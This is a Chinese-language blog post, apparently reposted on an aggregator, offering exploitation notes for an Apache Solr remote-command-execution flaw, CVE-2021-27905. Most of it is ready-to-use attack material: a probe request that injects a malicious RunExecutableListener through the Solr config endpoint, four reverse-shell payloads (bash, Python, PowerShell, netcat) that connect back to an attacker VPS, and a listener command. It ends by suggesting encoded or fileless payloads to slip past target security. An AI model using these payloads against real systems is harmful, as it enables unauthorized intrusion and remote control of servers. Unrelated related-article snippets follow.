CVE-2021-27905漏洞利用笔记

news/2025/3/27 4:32:19/文章来源:https://www.cnblogs.com/yjiejie/p/18788781

CVE-2021-27905 漏洞利用笔记(Apache Solr RCE)

📌 漏洞简介

  • 漏洞编号:CVE-2021-27905
  • 影响组件:Apache Solr DataImportHandler(DIH)
  • 漏洞类型:远程命令执行(RCE)
  • 利用条件:DIH 处于开启状态,攻击者可通过 config 接口注入恶意 RunExecutableListener 配置。

✅ 1. 使用 DNSLog 进行漏洞探测

📌 请求包(DNSLog 探测)

{"method": "POST","url": "http://www.example.com/solr/{core}/config","headers": {"Content-Type": "application/json"},"body": {"add-listener": {"event": "newSearcher","name": "dnslog_test","class": "solr.RunExecutableListener","exe": "nslookup test.dnslog.cn"}}
}

📌 结果分析

情况 漏洞存在 漏洞不存在
DNSLog 有解析请求 ✅ 目标存在漏洞 ❌ 可能已修复或受保护
DNSLog 没有记录 ❌ 目标可能已修复 ✅ 目标安全

✅ 2. 反弹 Shell POC(Linux & Windows)

📌 Linux Bash 反弹 Shell

{"add-listener": {"event": "newSearcher","name": "reverse_shell","class": "solr.RunExecutableListener","exe": "/bin/bash","args": ["-c","bash -i >& /dev/tcp/YOUR-VPS-IP/4444 0>&1"]}
}

📌 Python 反弹 Shell

{"add-listener": {"event": "newSearcher","name": "reverse_shell","class": "solr.RunExecutableListener","exe": "python3","args": ["-c","import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-VPS-IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"]}
}

📌 Windows PowerShell 反弹 Shell

{"add-listener": {"event": "newSearcher","name": "reverse_shell","class": "solr.RunExecutableListener","exe": "powershell","args": ["-NoP","-NonI","-W Hidden","-Exec Bypass","-Command","$client = New-Object System.Net.Sockets.TCPClient('YOUR-VPS-IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"]}
}

📌 Netcat 反弹 Shell(适用于 Linux 和 Windows)

{"add-listener": {"event": "newSearcher","name": "reverse_shell","class": "solr.RunExecutableListener","exe": "nc","args": ["YOUR-VPS-IP","4444","-e","/bin/sh"]}
}

✅ 3. 监听反弹 Shell

在你的 VPS 服务器上监听 4444 端口:

nc -lvnp 4444

📌 重要参数

参数 说明
www.example.com 目标 Solr 服务器 IP/域名
{core} 目标 Solr 核心名称(如 mycore
YOUR-VPS-IP 你的 VPS 公网 IP
4444 监听端口(可修改)

🚀 更隐蔽的 Payload(如 Base64 编码、无文件执行等)

如果目标服务器有安全机制,可以尝试 Base64 编码执行无文件加载 Payload,你可以根据具体情况调整。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/904676.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3.24

Android Studio 启动模拟器出现“Timed out after 300seconds waiting for emulator to come online“解决方案 问题: Timed out after 300seconds waiting for emulator to come online.**解决方法: 检查自己的Emulator是否是最新版本,如果不是检查更新到最新

使用ESP32的语音到文本转换

ESP32 + INMP441麦克风+ SD卡+ Deepgram API =语音到文本只需3秒!即时记录、存储和转录。现在就试试! 最快!使用ESP32板的语音到文本转换语音转文本技术改变了许多项目的游戏规则。从在智能家居中实现免提控制到为残疾人创建无障碍解决方案,将口语转换为文本的能力打开了无限的…

SNeP软件计算有效群体大小

001、官网: https://sourceforge.net/projects/snepnetrends/002、脚本: SNeP1.1 -ped sample_name.ped -map sample_name.map -threads 10 -ld -out ./sample_name003、结果文件:。

2025.3.28(周五)

android实验二第三部分 事情处理 1. 点击事件 (OnClickListener) 方法:setOnClickListener(View.OnClickListener listener) android:onClick(在 XML 中使用) 核心功能:处理按钮、文本、图片等控件的 单击事件。 使用场景:按钮提交、页面跳转、功能触发等。 2. 长按事件 (…

关于原生小程序canvas标签始终显示再最上层问题

官方说明: https://developers.weixin.qq.com/miniprogram/dev/component/native-component.html 解决方法:将canvas正常绘制 对canvas进行定位,远离手机屏幕显示区域 将canvas转换为img图片,将转换后的图片进行展示 如果图片清晰度不够,则将canvas成倍的绘制,将转换后的…

Particle Asset OTA 如何实现远程

问题 用粒子平台部署更新到你的舰队是很容易的。但是,当您的产品包含其他组件(如ML模型、显示器、协处理器、证书或图像和声音等媒体)时,远程管理更新就变得更具挑战性。传统的方法通常需要物理访问,这可能耗时、昂贵,而且在规模上不切实际。解决方案 粒子资产OTA使您能够轻…

【企业必读】内外网文件传输的6个常见误区,你中招了吗?

在数字化转型的浪潮中,企业内外网文件传输已成为日常运营中不可或缺的一环。然而,许多企业在进行网络隔离后的文件传输和产品选型时,常常陷入一些常见的误区。这些误区不仅可能影响工作效率,还可能带来严重的安全隐患和合规风险。本文将深入探讨这些误区,并提供实用的建议…

SpreadJS V18.0 新版本发布!数据驱动革新,效率与体验全面升级

表格控件SpreadJS推出V18.0及V8.0版本!本次更新聚焦数据管理、多语言适配、报表与透视表增强,新增多项重磅功能,赋能企业高效应对复杂业务场景。核心亮点速览👇 一、表格绑定数据源:直连数据管理器,性能与效率双突破 开发背景 企业常将 Excel 作为动态数据库使用(如分析…

使用LattePanda V1制作了一个简单的基于batocera的游戏仿真站

现在,我们正在使用我们最近开发的Batocera arcade Box使用PS1模拟器运行Roadrash。我们使用的是Batocera Linux,这是一个开源且完全免费的复古游戏发行版本,旨在将任何计算机或单板计算机变成游戏控制台。 在这里,我们在相当旧的Latte Panda V1单板计算机上启动了Batocera,…

河北省科级政策app 连接MySQL数据库

项目结构 在连接数据库的时候要把localhost改为自己电脑的IP地址 开放mysql数据库远程访问的权限 使用jdbc的方法把jar包导入项目中

【Guava工具类】StringsInts

String相关工具 Strings Guava 提供了一系列用于字符串处理的工具: 对字符串为null或空的处理nullToEmpty(@Nullable String string):如果非空,则返回给定的字符串;否则返回空字符串 public static String nullToEmpty(@Nullable String string) {//如果string为null则返回…

我开发的【巨大娘的玩耍♥】游戏正在众筹中,参与即可获得限量优惠回报

大家好,我开发的【巨大娘的玩耍♥】游戏正在众筹中,参与即可获得限量优惠回报 游戏目前正在爱发电上众筹,众筹总额达成5千元即可开发和发布正式版。众筹截止日期:2025年7月23日 支持者可获得 8折激活码、获得所有玩家可见的特殊成就、上感谢名单 等 限量 回报~ 点我查看具体…